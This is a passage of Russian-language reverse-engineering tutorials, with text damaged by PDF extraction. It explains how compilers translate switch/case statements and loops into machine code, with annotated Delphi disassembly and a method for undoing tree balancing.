вычита ния . Опти миза тор на осно ве сво их глу бин ных зна ний пос читал, что
такой код будет быс трее выпол нять ся!

TEST
CMP

SUB

Вот толь ко нам, хакерам, от это го решения ничуть не лег че. Ведь пря мая
рет ран сля ция кода дает конс трук цию вро де

     if (a == 0) printf("a == 0"); else
     if (a == 1) printf("a == 1"); else
     if (a == 2) printf("a == 2"); else
     if (a == 0x664) printf("a == 666h"); else

printf("Default");

В ней сов сем не уга дыва ется опе ратор ! Впро чем, почему это не уга- 

дыва ется? Уга дыва ется, еще как! Где есть длин ная цепоч ка 

, там и до  недале ко! Узнать опе ратор
мно жес твен ного выбора будет еще лег че, если изоб разить его в виде
логичес кого дерева.

switch
IF — THEN — 

ELSE — IF — THEN — ELSE… switch

Дру гая харак терная деталь — case-обра бот чики, точ нее опе ратор ,
тра дици онно замыка ющий каж дый из них. Они-то и обра зуют пра вую полови- 
ну «косич ки», схо дясь все вмес те в точ ке . Прав да, мно гие прог раммис ты

пита ют патоло гичес кую любовь к case-обра бот чикам раз мером в два-три
экра на, вклю чая в них, помимо все го про чего, и цик лы, и вет вле ния, и даже
вло жен ные опе рато ры мно жес твен ного выбора! В резуль тате пра вая часть
«косич ки» прев раща ется в неп роходи мый таеж ный лес, сквозь который
не про берет ся и ста до сло нопо тамов. Но даже если и так, левая часть «косич- 
ки» все рав но оста нет ся дос таточ но прос той и лег ко рас позна ваемой.

break

Z

В более слож ных деревь ях, име ющих боль шее количес тво усло вий — нес- 
коль ко десят ков или сотен (как мы зна ем, прог раммис ты любят наш пиговы- 
вать опе рато ры  усло виями), ком пилятор может вста вить допол- 

нитель ное усло вие, которо го не было в исходной прог рамме. Зачем же он
занима ется такой самоде ятель ностью?

switch

Ког да в прог рамме мно го усло вий, про цес сор сов сем запари вает ся про- 
верять их все (а по закону под лости нуж ный  будет в самом кон це).

Поэто му ком пилятор с помощью допол нитель ного усло вия раз деля ет дерево
на два или боль шее количес тво в зависи мос ти от добав ленных усло вий,
умень шая его высоту. Вмес то одной вет ви тран сля тор пос тро ит две, помес- 
тив в левую часть толь ко чис ла, мень шие опре делен ного зна чения, а в пра- 
вую — все осталь ные. Бла года ря это му усло вия из кон ца дерева будут
перене сены в его начало. Дан ный метод опти миза ции поис ка зна чений
называ ют методом вил ки, но не будем сей час на нем оста нав ливать ся, а луч- 
ше раз берем его в раз деле «Обрезка длин ных деревь ев».

case

Из менение поряд ка срав нений — пра во ком пилято ра. Стан дарт ничего
об этом не говорит, и каж дая реали зация воль на пос тупать так, как ей заб- 
лагорас судит ся. Дру гое дело — case-обра бот чики (то есть тот код, которо му

 переда ет управле ние в слу чае истиннос ти отно шения). Они обя заны

рас полагать ся так, как были объ явле ны в прог рамме, пос коль ку при отсутс- 
твии зак рыва юще го опе рато ра  они дол жны выпол нять ся стро го
в задуман ном прог раммис том поряд ке, хотя эта воз можность язы ка C
исполь зует ся край не ред ко.

case

break

Та ким обра зом, иден тифика ция опе рато ра  не силь но усложня ется:
если пос ле унич тожения узло вого гнез да и при вив ки пра вой вет ки к левой
(или наобо рот) мы получа ем экви вален тное дерево и это дерево обра зует
харак терную «косич ку», мы име ем дело с опе рато ром мно жес твен ного
выбора или его ана логом.

switch
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ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
РАЗБИРАЕМ САМОДЕЯТЕЛЬНОСТЬ

КОМПИЛЯТОРОВ ПРИ ТРАНСЛЯЦИИ
ОПЕРАТОРА ВЫБОРА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÎÒËÈ×Èß SWITCH ÎÒ ÎÏÅÐÀÒÎÐÀ CASE ßÇÛÊÀ PASCAL

Опе ратор  язы ка Pascal прак тичес ки иден тичен сво ему С-соб рату —

опе рато ру , хотя и близ нецами их не назовешь:  выгод но отли- 

чает ся под дер жкой наборов и диапа зонов зна чений.

CASE
switch CASE

Ес ли обра бот ку наборов мож но реали зовать и через , прав да

не так эле ган тно, как на Pascal (смот ри сле дующий лис тинг), то про верить
вхож дение зна чения в диапа зон на C получит ся исклю читель но с помощью
конс трук ции . Зато в Pascal каж дый case-обра бот чик при- 
нуди тель но завер шает ся неяв ным , а С-прог раммист волен ста вить

(или не ста вить) его по сво ему усмотре нию.

switch

IF — THEN — ELSE
break

Срав нение case со switch

Од нако оба язы ка нак ладыва ют жес ткое огра ниче ние на выбор срав нива- 
емой перемен ной: она дол жна при над лежать к чис ленно му типу, а все
наборы (диапа зоны) зна чений пред став лять собой кон стан ты или кон- 
стантные выраже ния, вычис ляемые на ста дии ком пиляции. Под ста нов ка
перемен ных или вызовов фун кций не допус кает ся.

Лю бопыт но было бы пос мотреть, как Pascal тран сли рует про вер ку диапа- 
зонов, и срав нить его с ком пилято рами язы ка C. Рас смот рим сле дующий
при мер:

 program many_cases_d;

{$APPTYPE CONSOLE}

{$R *.res}

uses
 System.SysUtils;

var
  a : LongInt;

begin
  a := 6;
   case a of

       2 : WriteLn('a == 2');
        4, 6 : WriteLn('a == 4 | 6 ');

       10..100 : WriteLn('a == [10,100]');
 end;
end.

Ре зуль тат его ком пиляции ком пилято ром Delphi 10.4 дол жен выг лядеть так:

            public _ZN12Many_cases_d14initializationEv

  _ZN12Many_cases_d14initializationEv proc near
                                       ; DATA XREF: HEADER:
0000000000400128↑o
                                       ; .pdata:0000000000448328↓o
; __unwind { // 
_ZN6System23_DelphiExceptionHandlerEPNS_16TExceptionRecordEyPvS2_
; Открываем кадр стека

                   push rbp
; Резервируем 0х20 байт в стеке

                     sub rsp, 20h
                     mov rbp, rsp
                     mov rax, cs:off_432120

; В RAX помещаем значение 1
                       mov byte ptr [rax], 1

               nop
; В RCX помещаем указатель на область памяти размером в 0х12 (18) 
байт

                     lea rcx, qword_429088
; Вызываем процедуру для инициализации исполнительного модуля 
операционной среды
; В качестве параметра передается указатель на область памяти

                   call _ZN7Sysinit8_InitExeEPv
; Значение 0х6 помещается в память, все указывает на то, что это 
наша переменная a...

                     mov cs:_ZN12Many_cases_d1aE, 6
; Затем значение перемещается в регистр

                     mov eax, cs:_ZN12Many_cases_d1aE
; Вычитаем из EAX значение 0х2

                     sub eax, 2
; Проверяем на равенство нулю

                    test eax, eax
; Если флаг нуля возведен, делаем переход на ветку, где выводится "a 
== 0"
; В нашем случае продолжаем выполнение

                jz      short loc_428F8E
; Еще вычитаем из EAX 0x2

                     sub eax, 2
; Снова проверяем на равенство нулю

                    test eax, eax

Ес ли флаг нуля воз веден, дела ем переход на вет ку, где выводит ся 

, это похоже на наш слу чай, но пре дыду щий  не воз вел флаг , так

как в резуль тате вычита ния получи лось чис ло 2.

"a == 4 |
6 " test ZF

              jz      short loc_428FB0
; Снова такое же вычитание...

                     sub eax, 2
; ...и проверка

                    test eax, eax

На этот раз резуль тат раз ности удов летво ряет усло вию перехо да, поэто му
совер шаем пры жок на ту же самую вет ку, на которую был переход выше, где
выводит ся !"a == 4 | 6 "

                jz      short loc_428FB0
; Предположим, в параллельной вселенной выполнение продолжилось
; Тогда после нахождения очередной разности

                     sub eax, 4
; проверяем EAX

                      cmp eax, 5Bh ; '['

Ес ли зна чение в нем боль ше или рав но (то есть не мень ше) , зна- 

чит, все условные перехо ды прош ли лесом и мы совер шаем пры жок в конец
.

0х5B (91)

CASE

                    jnb short loc_428FF2 ; Эта метка играет роль 
оператора break

Ес ли пре дыду щий переход не сра ботал, зна чит, наше чис ло попада ет
в диапа зон, поэто му перехо дим на сле дующую мет ку, что бы вывес ти соот- 
ветс тву ющую над пись.

                   jmp short loc_428FD2
; ------------------------------------------------

 loc_428F8E: ; CODE XREF: _ZN12Many_cases_d14initializationEv+34↑j
                     mov rcx, cs:off_431F40
                     lea rdx, aA2        ; "a == 2"
                   call

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
                     mov rcx, rax
                   call _ZN6System8_WriteLnERNS_8TTextRecE
                   call _ZN6System8__IOTestEv

                      jmp short loc_428FF2 ; break
; ------------------------------------------------

 loc_428FB0: ; CODE XREF: _ZN12Many_cases_d14initializationEv+3B↑j
           ; _ZN12Many_cases_d14initializationEv+42↑j

                     mov rcx, cs:off_431F40
                     lea rdx, aA46       ; "a == 4 | 6 "
                   call

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
                     mov rcx, rax
                   call _ZN6System8_WriteLnERNS_8TTextRecE
                   call _ZN6System8__IOTestEv

                      jmp short loc_428FF2 ; break
; ------------------------------------------------

 loc_428FD2: ; CODE XREF: _ZN12Many_cases_d14initializationEv+4C↑j
                     mov rcx, cs:off_431F40
                         lea rdx, aA10100 ; "a == [10,100]"
                   call

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE
                     mov rcx, rax
                   call _ZN6System8_WriteLnERNS_8TTextRecE
                   call _ZN6System8__IOTestEv

 loc_428FF2: ; CODE XREF: _ZN12Many_cases_d14initializationEv+4A↑j
           ; _ZN12Many_cases_d14initializationEv+6E↑j ...
; Конец CASE
; Процедура останавливает выполнение приложения

                   call _ZN6System6_Halt0Ev
; ------------------------------------------------
; Если никакое исключение не возникло, делаем безусловный прыжок в 
обход перехватчика исключения

                     jmp short loc_429001
; ------------------------------------------------

                 db 2 dup(90h)
; ------------------------------------------------
; Если возникла исключительная ситуация, ловим ее, чтобы не дать ей 
вмешаться в работу операционной системы

                   call _ZN6System19_UnhandledExceptionEv
; ------------------------------------------------

                db 90h
; ------------------------------------------------

 loc_429001: ; CODE XREF: _ZN12Many_cases_d14initializationEv+B7↑j
; Конец приложения:
; восстанавливаем стек

                     lea rsp, [rbp+20h]
; и закрываем кадр стека

                    pop rbp
               retn
; } // starts at 428F40

 _ZN12Many_cases_d14initializationEv endp

По чему же ком пилятор, что бы най ти попада ние в диапа зон, в качес тве вер- 
хне го пре дела взял не , как про писа но в исходном коде, а 

? Дело в том, что, учи тывая все пре дыду щие вычита ния, это будет

наиболь шее из воз можных зна чений.

0х64 (100) 0х5B (
91)

Ус ловные опе рато ры, в час тнос ти опе рато ры выбора, пре дос тавля ют ком- 
пилято ру широчай ший твор ческий прос тор для генера ции дво ично го кода!
К при меру, если взгля нуть на исходный текст нашей прог раммы, никако го
вычита ния там и в помине не было!

ÎÁÐÅÇÊÀ ÄËÈÍÍÛÕ ÄÅÐÅÂÜÅÂ

В некото рых (хотя и ред ких) слу чаях опе рато ры мно жес твен ного выбора
содер жат сот ни (а то и тысячи) наборов зна чений, и если решать задачу срав- 
нения в лоб, то высота логичес кого дерева ока жет ся гигант ской до неп- 
риличия, а его про хож дение зай мет весь ма дли тель ное вре мя, что не луч шим
обра зом ска жет ся на про изво дитель нос ти прог раммы.

Но задумай ся: чем, собс твен но, занима ется опе ратор ? Если
отвлечь ся от усто явше го мне ния, что  дает спе циаль ный спо соб

выбора одно го из мно гих вари антов (который зак люча ется в про вер ке сов- 
падения зна чения дан ного выраже ния с одной из задан ных кон стант и соот- 
ветс тву ющем вет вле нии), то мож но ска зать, что  — опе ратор «поис ка

соот ветс тву юще го зна чения». В таком слу чае канони чес кое switch-дерево
пред став ляет собой три виаль ный алго ритм «пос ледова тель ного поис ка» —
самый неэф фектив ный алго ритм из всех.

switch
switch

switch

Пусть, нап ример, исходный текст прог раммы выг лядел так:

 switch (a)
{

   case 98 : …;
   case 4 : …;
   case 3 : …;
   case 9 : …;
   case 22 : …;
   case 0 : …;
   case 11 : …;
   case 666 : …;
   case 096 : …;
   case 777 : …;
   case 7 : …;

}

Тог да соот ветс тву ющее ему неоп тимизи рован ное логичес кое дерево будет
дос тигать в высоту один надцать гнезд.

Ло гичес кое дерево до утрамбов ки

При чем на левой вет ке кор невого гнез да ока жет ся аж десять дру гих гнезд,
а на пра вой вооб ще ни одно го (толь ко соот ветс тву ющий ему case-обра бот- 
чик).

Ис пра вить «перекос» мож но, раз резав одну вет ку на две и при вив обра- 
зовав шиеся половин ки к новому гнез ду, которое содер жит усло вие, опре- 
деля ющее, в какой из веток сле дует искать срав нива емую перемен ную. Нап-
ример, левая вет ка может содер жать гнез да с чет ными зна чени ями, а пра- 
вая — с нечет ными. Но это пло хой кри терий: чет ных и нечет ных зна чений ред- 
ко быва ет поров ну, и вновь обра зует ся перекос.

Го раз до надеж нее пос тупить так: берем наимень шее из всех зна чений
и бро саем его в кучу А, затем берем наиболь шее из всех зна чений и бро саем
его в кучу B. Так пов торя ем до тех пор, пока не рас сорти руем все име ющиеся
зна чения.

Пос коль ку опе ратор мно жес твен ного выбора тре бует уни каль нос ти каж- 
дого зна чения, то есть каж дое чис ло может встре чать ся в наборе (диапа зоне)
зна чений лишь однажды, лег ко показать, что:

в обе их кучах будет содер жать ся рав ное количес тво чисел (в худ шем слу- 
чае — в одной куче ока жет ся на чис ло боль ше);

•

все чис ла кучи A мень ше наимень шего из чисел кучи B.•

Сле дова тель но, дос таточ но выпол нить толь ко одно срав нение, что бы опре- 
делить, в какой из двух куч сле дует искать срав нива емые зна чения.

Вы сота нового дерева будет рав на , где  — количес тво гнезд ста- 
рого дерева. Дей стви тель но, мы же делим ветвь дерева над вое и добав ляем
новое гнез до — отсю да и берет ся  и +1, а  необ ходимо для округле ния
резуль тата деления в боль шую сто рону. К при меру, если высота неоп тимизи- 
рован ного дерева дос тигала 100 гнезд, то теперь она умень шилась до 51.

2
N+1

 + 1 N

2
N

 N + 1

Что? Говоришь, 51 все рав но мно го? А что нам меша ет раз бить каж дую
из двух вет вей еще на две? Это умень шит высоту дерева до 27 гнезд! Ана- 
логич но пос леду ющее уплотне ние даст 16 → 12 → 11 → 9 → 8... и все! Более
плот ная упа ков ка дерева невоз можна (подумай почему, на худой конец —
пос трой само дерево). Но сог ласись, восемь гнезд — это не сто! Пол ное
про хож дение опти мизи рован ного дерева пот ребу ет менее девяти срав- 
нений!

«Трам бовать» логичес кие деревья опе рато ра мно жес твен ного выбора
уме ют прак тичес ки все ком пилято ры, даже неоп тимизи рующие. Это уве личи- 
вает про изво дитель ность, но зат рудня ет ана лиз откомпи лиро ван ной прог- 
раммы. Взгля ни еще раз на рисунок «Логичес кое дерево до утрамбов ки» —
нес балан сирован ное дерево наг лядно и инту итив но понят но. Пос ле балан- 
сиров ки же (схе ма «до утрамбов ки» выше) — в нем сам Тиг ра хвост обло мит.

Ло гичес кое дерево пос ле утрамбов ки

К счастью, балан сиров ка дерева допус кает эффектив ное обра щение.
Но преж де чем засучить рукава и при гото вить ся к лазанью по деревь ям (а
Тиг ра лаза ет по деревь ям луч ше всех!), вве дем понятие балан сировоч ного
узла.

 не изме няет логики работы дво ично го дерева

и явля ется факуль татив ным узлом, единс твен ная фун кция которо го — уко- 
рачи вание дли ны вет вей. Балан сировоч ный узел без потери фун кци ональ- 
нос ти дерева может быть замещен любой из сво их вет вей. При чем каж дая
ветвь балан сировоч ного узла дол жна содер жать одно или боль ше гнезд.

Áà ëàí ñèðîâî÷ íûé óçåë

Рас суждая от про тив ного: если все узлы логичес кого дерева, пра вая вет ка
которых содер жит одно или более гнезд, могут быть замеще ны этой самой
пра вой вет кой без потери фун кци ональ нос ти дерева, то дан ная конс трук ция
пред став ляет собой опе ратор . Почему имен но пра вая вет ка? Так ведь
опе ратор мно жес твен ного выбора в раз верну том сос тоянии пред став ляет
цепоч ку гнезд, соеди нен ных левыми вет вями друг с дру гом, а на пра вых дер- 
жатся case-обра бот чики. Вот мы и пыта емся под цепить все пра вые гнез да
на левую ветвь. Если это уда ется, мы име ем дело с опе рато ром мно жес твен- 
ного выбора, а нет — с чем-то дру гим.

switch

Рас смот рим обра щение балан сиров ки на при мере сле дующе го дерева.

Об ращение балан сиров ки логичес кого дерева — шаг 1

Дви гаясь от левой ниж ней вет ви, мы будем про дол жать взби рать ся на дерево
до тех пор, пока не встре тим узел, дер жащий на сво ей пра вой вет ви одно
или более гнезд. В нашем слу чае это узел (а > 5). Смот ри: если дан ный узел
заменить гнез дами (а == 7) и (а == 9), фун кци ональ ность дерева не нарушит- 
ся!

Об ращение балан сиров ки логичес кого дерева — шаг 2

Ана логич но узел (а > 10) может быть без болез ненно заменен гнез дами (а >
96), (а == 96), (а == 22) и (а == 11), а узел (а > 96), в свою оче редь, гнез дами
(а == 98), (а == 666) и (а == 777). В кон це кон цов обра зует ся клас сичес кое
switch-дерево, в котором опе ратор мно жес твен ного выбора рас позна ется
с пер вого взгля да.

Об ращение балан сиров ки логичес кого дерева — шаг 3

Ñëîæíûå ñëó÷àè áàëàíñèðîâêè, èëè îïòèìèçèðóþùàÿ

áàëàíñèðîâêà

Для умень шения высоты «утрамбо выва емо го» дерева хит рые тран сля торы
стре мят ся замещать гнез да балан сировоч ными узла ми. Рас смот рим сле- 
дующий при мер.

Хит рый слу чай балан сиров ки

Для умень шения высоты дерева тран сля тор раз бива ет его на две полови- 
ны — в левую идут гнез да со зна чени ями, мень шими еди ницы или рав ными
ей, а в пра вую — все осталь ные. Казалось бы, на пра вой вет ке узла (а > 1)
дол жно висеть гнез до (а == 2), ан нет! Здесь мы видим узел (а > 2), к левой
вет ке которо го при цеп лен case-обра бот чик :2! А что, впол не логич но: если
(а>1) и !(а>2), то а == 2!

Лег ко видеть, что узел (а > 2) жес тко свя зан с узлом (а > 1) и работа ет
на пару с пос ледним. Нель зя выкинуть один из них, не нарушив работос- 
пособ ности дру гого! Обра тить балан сиров ку дерева по опи сан ному выше
алго рит му без наруше ния его фун кци ональ нос ти невоз можно. Отсю да может
соз дать ся мне ние, что мы име ем дело вов се не с опе рато ром мно жес твен- 
ного выбора, а с чем-то дру гим.

Что бы раз веять это заб лужде ние, при дет ся пред при нять ряд допол нитель- 
ных шагов. Пер вое — у switch-дерева все case-обра бот чики всег да находят ся
на пра вой вет ви. Смот рим, мож но ли тран сфор мировать наше дерево так,
что бы case-обра бот чик 2 ока зал ся на левой вет ви балан сировоч ного узла?
Да, мож но: изме нив (а > 2) на (а < 3) и поменяв вет ви мес тами (дру гими сло- 
вами, выпол нив инверсию). Вто рое — все гнез да switch-дерева содер жат
в себе усло вия равенс тва. Смот рим, можем ли мы заменить неравенс тво (а <
3) ана логич ным ему равенс твом? Конеч но же, можем — (а == 2)!

Пос ле всех этих пре обра зова ний обра щение балан сиров ки дерева уда- 
ется выпол нить без тру да!

Âåòâëåíèÿ â case-îáðàáîò÷èêàõ

В реаль ной жиз ни case-обра бот чики пря мо-таки кишат вет вле ниями, цик- 
лами и про чими условны ми перехо дами всех мас тей. Как следс твие —
логичес кое дерево при обре тает вид, ничуть не напоми нающий опе ратор
мно жес твен ного выбора, а ско рее сма хива ющий на зарос ли чер тополо ха.
Понят ное дело, иден тифици ровав case-обра бот чики, мы мог ли бы решить эту
проб лему, но как их иден тифици ровать?

Очень прос то: за ред кими кли ничес кими исклю чени ями, case-обра бот- 
чики содер жат вет вле ния отно ситель но срав нива емой перемен ной. Дей стви- 
тель но, конс трук ции 
или  абсо лют но лишены

смыс ла. Таким обра зом, мы можем сме ло уда лить из логичес кого дерева все
гнез да с усло виями, каса ющи мися срав нива емой перемен ной (перемен ной
кор невого гнез да).

switch(a) .... case 666 : if (а == 666) ...
switch(a) ... case 666 : if (a > 66) ...

Хо рошо, а если прог раммист в порыве собс твен ной глу пос ти или стрем- 
лении зат руднить ана лиз прог раммы впа яет в case-обра бот чики вет вле ния
отно ситель но срав нива емой перемен ной? Ока зыва ется, это ничуть не зат- 
руднит ана лиз! Впа янные вет вле ния эле мен тарно рас позна ются и обре зают- 
ся либо как избы точ ные, либо как никог да не выпол няющиеся. Нап ример,
если к пра вой вет ке гнез да (a == 3) при цепить гнез до (a > 0) — его мож но
уда лить, как не несущее в себе никакой информа ции. Если же к пра вой вет ке
того же самого гнез да при цепить гнез до (a == 2), его мож но уда лить,
как никог да не выпол няющееся: если a == 3, то заведо мо a != 2!

ÈÒÎÃÈ

Спер ва мы разоб рали, чем конс трук ция опе рато ра выбора 

 отли чает ся от обыч ного условно го опе рато ра ,

как раз лича ются их дво ичные пред став ления. Рас смот рели, какой бинар ный
код соз дают два самых популяр ных ком пилято ра C++ на осно ве одной и той
же прог раммы, внут ри которой при сутс тву ет опе ратор выбора. Убе дились,
что раз ница зна читель на.

switch — case —
break if — then — else

Да лее наше вни мание зах ватил ана лог опе рато ра выбора из язы ка Pascal.
Его рас смот рение с точ ки зре ния прог раммис та выяви ло бес спор ное пре- 
вос ходс тво над C++-ана логом, одна ко, с точ ки зре ния ассем блер щика, код,
под готов ленный Delphi-ком пилято ром, осо бо не отли чает ся от кода того же
C++Builder.

Ког да опе ратор условно го выбора име ет разум ное количес тво исполня- 
емых веток, разоб рать ся в усло виях и вытека ющих из них дей ствий не сос- 
тавля ет осо бого тру да, загад ка реша ется с исполь зовани ем голов ного моз га
без при мене ния допол нитель ных инс тру мен тов. Тем не менее, если в опе- 
рато ре выбора содер жатся десят ки усло вий с вет ками, при ходит ся чер тить
логичес кое дерево. Как мы обсужда ли в одной из прош лых ста тей, для пос- 
тро ения логичес кого дерева мож но написать чер тежную прог рамму или вос- 
поль зовать ся гра фопос тро ите лем из сос тава IDA Pro в том слу чае, если она
есть сре ди тво его хакер ско го инс тру мен тария.

Но если дерево сос тоит из сотен или тысяч веток, а прог раммис ты
с бодуна вся кое могут написать, никако го мыс литель ного про цес са для ана- 
лиза такого кода не хва тит. И при ходит ся сно ва при бегать к помощи логичес- 
ких деревь ев. А если дерево получит ся зарос шим, вска раб кать ся на него
будет очень слож но. Поэто му его при дет ся обре зать, сок ращать, исклю чать
не име ющие смыс ла узлы. Эти шаги мы под робно рас смот рели в треть ем
раз деле статьи.

В сле дующей статье мы раз берем устрой ство цик лов — еще одно го край- 
не важ ного механиз ма всех язы ков прог рамми рова ния.
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ВЗЛОМ

В сегод няшней статье мы изу чим все типы цик лов, которые
могут встре тить ся в язы ках прог рамми рова ния высоко го
уров ня. Уви дим, какие спо собы есть у ком пилято ра для отра-
жения их в дво ичном виде. Раз берем плю сы и минусы каж- 
дого. Кро ме того, мы узна ем, как перема лыва ют цик лы раз- 
личные тран сля торы и что получа ется на выходе у опти мизи- 
рующих и неоп тимизи рующих ком пилято ров.

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

Цик лы — единс твен ная (за исклю чени ем неп рилич ного ) конс трук ция

язы ков высоко го уров ня, име ющая ссыл ку «назад», то есть в область млад ших
адре сов. Все осталь ные виды вет вле ний — будь то 

или опе ратор мно жес твен ного выбора  — всег да нап равле ны «вниз»,

в область стар ших адре сов. Вследс твие это го изоб ража ющее цикл логичес- 
кое дерево нас толь ко харак терно, что лег ко опоз нает ся с пер вого взгля да.

GOTO

IF — THEN — ELSE
SWITCH

Су щес тву ют три основных типа цик лов.
1. Цик лы с усло вием в начале.

2. Цик лы с усло вием в кон це.

3. Цик лы с усло вием в середи не.

Ком биниро ван ные цик лы име ют нес коль ко усло вий в раз ных мес тах, нап- 
ример в начале и кон це одновре мен но. В свою оче редь, усло вия быва ют двух
типов: усло вия  цик ла и усло вия  цик ла.çà âåð øåíèÿ ïðî äîë æåíèÿ

В пер вом слу чае, если усло вие завер шения истинно, выпол няет ся
переход в конец цик ла, ина че он про дол жает ся. Во вто ром, если усло вие
про дол жения цик ла лож но, выпол няет ся переход в конец цик ла, в про тив ном
слу чае он про дол жает ся. Лег ко показать, что усло вия про дол жения цик ла
пред став ляют собой инверти рован ные усло вия завер шения.

Та ким обра зом, со сто роны тран сля тора впол не дос таточ но под дер жки
усло вий одно го типа. И дей стви тель но, опе рато ры цик лов ,  и 
язы ка С/C++ работа ют исклю читель но с усло виями про дол жения цик ла. Опе- 
ратор  язы ка Delphi так же работа ет с усло вием про дол жения, и исклю- 

чение сос тавля ет один лишь , ожи дающий усло вие завер шения
цик ла.

while do for

while
repeat-until

ÖÈÊËÛ Ñ ÓÑËÎÂÈßÌÈ Â ÍÀ×ÀËÅ

Их так же называ ют цик лами с пре дус лови ем. В язы ках С/C++ и Delphi под- 
дер жка цик лов с пре дус лови ем обес печива ется опе рато ром 

, где  — это усло вие про дол жения цик ла. То есть цикл 
 выпол няет ся до тех пор, пока усло вие  оста ется

истинным. Одна ко тран сля тор при желании может инверти ровать усло вие
про дол жения цик ла на усло вие его завер шения. На плат форме Intel
80x86 такой трюк эко номит от одной до двух машин ных команд.

while (
условие) условие while
(a < 10) a++; (a>10)

Об рати вни мание: ниже при веден цикл с усло вием завер шения цик ла.

А далее — с усло вием про дол жения цик ла.

Как вид но на кар тинках, цикл с усло вием завер шения на одну коман ду короче!
Поэто му прак тичес ки все ком пилято ры (даже неоп тимизи рующие) всег да
генери руют пер вый вари ант. А некото рые осо бо ода рен ные даже уме ют
прев ращать цик лы с пре дус лови ем в еще более эффектив ные цик лы с пос- 
тусло вием (см. пункт «Цик лы с усло вием в кон це»).

Цикл с усло вием завер шения не может быть непос редс твен но отоб ражен
на опе ратор . Кста ти, об этом час то забыва ют начина ющие, допус кая
ошиб ку «что вижу, то пишу»: . С таким усло вием цикл

вооб ще не выпол нится ни разу! Но как выпол нить инверсию усло вия и при
этом гаран тирован но не оши бить ся? Казалось бы, что может быть про ще,
а вот поп росите зна комо го хакера наз вать опе рацию, обратную «боль ше».
Очень может быть (даже навер няка!), что отве том будет... «мень ше». А вот
и нет, пра виль ный ответ «мень ше или рав но». Пол ный перечень обратных
опе раций отно шений мож но най ти в сле дующей таб лице.

while
while (a >= 10) a++

ÖÈÊËÛ Ñ ÓÑËÎÂÈÅÌ Â ÊÎÍÖÅ

Их так же называ ют цик лами с пос тусло вием. В язы ке С/C++ под дер жка цик- 
лов с пос тусло вием обес печива ется парой опе рато ров , а в язы ке

Delphi — . Цик лы с пос тусло вием без каких-либо проб лем

непос редс твен но отоб ража ются с язы ка высоко го уров ня на машин ный код
и наобо рот. То есть, в отли чие от цик лов с пре дус лови ем, инверсии усло вия
не про исхо дит.

do … while
repeat … until

Нап ример,  в общем слу чае ком пилиру ется в сле- 

дующий код (обра ти вни мание: в перехо де исполь зовалась та же самая опе- 
рация отно шения, что и в исходном цик ле. Кра сота, и никаких оши бок
при деком пиляции!).

do a++; while (a<10);

Срав ним код цик ла с пос тусло вием и код цик ла с пре дус лови ем. Не прав да
ли, цикл с усло вием в кон це ком пак тнее и быс трее? Некото рые ком пилято ры
(нап ример, Microsoft Visual C++) уме ют тран сли ровать цик лы с пре дус лови ем
в цик лы с пос тусло вием. На пер вый взгляд, это вопи ющая самоде ятель ность
ком пилято ра — если прог раммист хочет про верять усло вие в начале, то
какое пра во име ет тран сля тор ста вить его в кон це?

На самом же деле раз ница меж ду «до» и «пос ле» не столь зна читель на.
Если ком пилятор уве рен, что цикл выпол няет ся хотя бы один раз, то он впра- 
ве выпол нять про вер ку ког да угод но. Разуме ется, при этом необ ходимо нес- 
коль ко скор ректи ровать усло вие про вер ки:  не экви вален тно 

, так как в пер вом слу чае при  уже про исхо дит

выход из цик ла, а во вто ром цикл выпол няет еще одну ите рацию. Одна ко этой
беде лег ко помочь: уве личим  на еди ницу 

или выч тем эту еди ницу из  , и... теперь все будет

работать!

while (a<b) do
... while (a<b) (a == b)

а (do ... while ((a+1)<b))
b (do ... while (ab-1)))

Спра шива ется: и на кой все эти извра щения, зна читель но раз дува ющие
код? Дело в том, что блок ста тичес кого пред ска зания нап равле ния вет вле ний
про цес соров Pentium и всех пос леду ющих моделей опти мизи рован имен но
под перехо ды, нап равлен ные назад, то есть в область млад ших адре сов.
Поэто му цик лы с пос тусло вием дол жны выпол нять ся нес коль ко быс трее ана- 
логич ных им цик лов с пре дус лови ем.

Продолжение статьи →

mailto:yazevsoft@gmail.com
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ÖÈÊËÛ ÑÎ Ñ×ÅÒ×ÈÊÎÌ

Цик лы со счет чиком  не явля ются самос тоятель ным типом цик лов,
а пред став ляют собой все го лишь син такси чес кую раз новид ность цик лов
с пре дус лови ем. В самом деле,  в пер вом приб- 

лижении то же самое, что и

(for)

for (a = 0; a < 10; a++)

  a = 0;
    while (a < 10) {

 ...
 a++;
}

Од нако резуль таты ком пиляции двух этих конс трук ций необя затель но будут
иден тичны!

Оп тимизи рующие ком пилято ры (да и зна читель ная часть неоп тимизи- 
рующих) пос тупа ют хит рее, переда вая пос ле ини циали зации перемен- 
ной-счет чика управле ние на коман ду про вер ки усло вия выхода из цик ла.
Обра зовав шаяся конс трук ция, во-пер вых, харак терна и при ана лизе прог- 
раммы — она сра зу бро сает ся в гла за, — а во-вто рых, не может быть непос- 
редс твен но отоб ражена на цик лы  язы ка высоко го уров ня.while

Не пос редс твен ный пры жок вниз может быть резуль татом ком пиляции и цик ла
, и опе рато ра , но  сей час не в моде и исполь зует ся край не ред- 

ко, а без него опе ратор условно го перехо да  не может прыг нуть
непос редс твен но в середи ну цик ла ! Выходит, изо всех «кан дидатов»

оста ется толь ко цикл .

for GOTO GOTO
IF — THEN

while
for

Не кото рые осо бо прод винутые ком пилято ры (Microsoft Visual C++,
Embarcadero C++Builder) пос тупа ют хит рее: ана лизи руя код, они еще на ста- 
дии ком пиляции пыта ются опре делить, выпол няет ся ли дан ный цикл хотя бы
один раз, и, если видят, что он дей стви тель но выпол няет ся, прев раща ют 

в типич ный цикл с пос тусло вием.

for

На конец, самые совер шенные ком пилято ры (из которых мож но наз вать один
лишь Microsoft Visual C++) могут даже заменять цик лы с при раще нием на цик- 
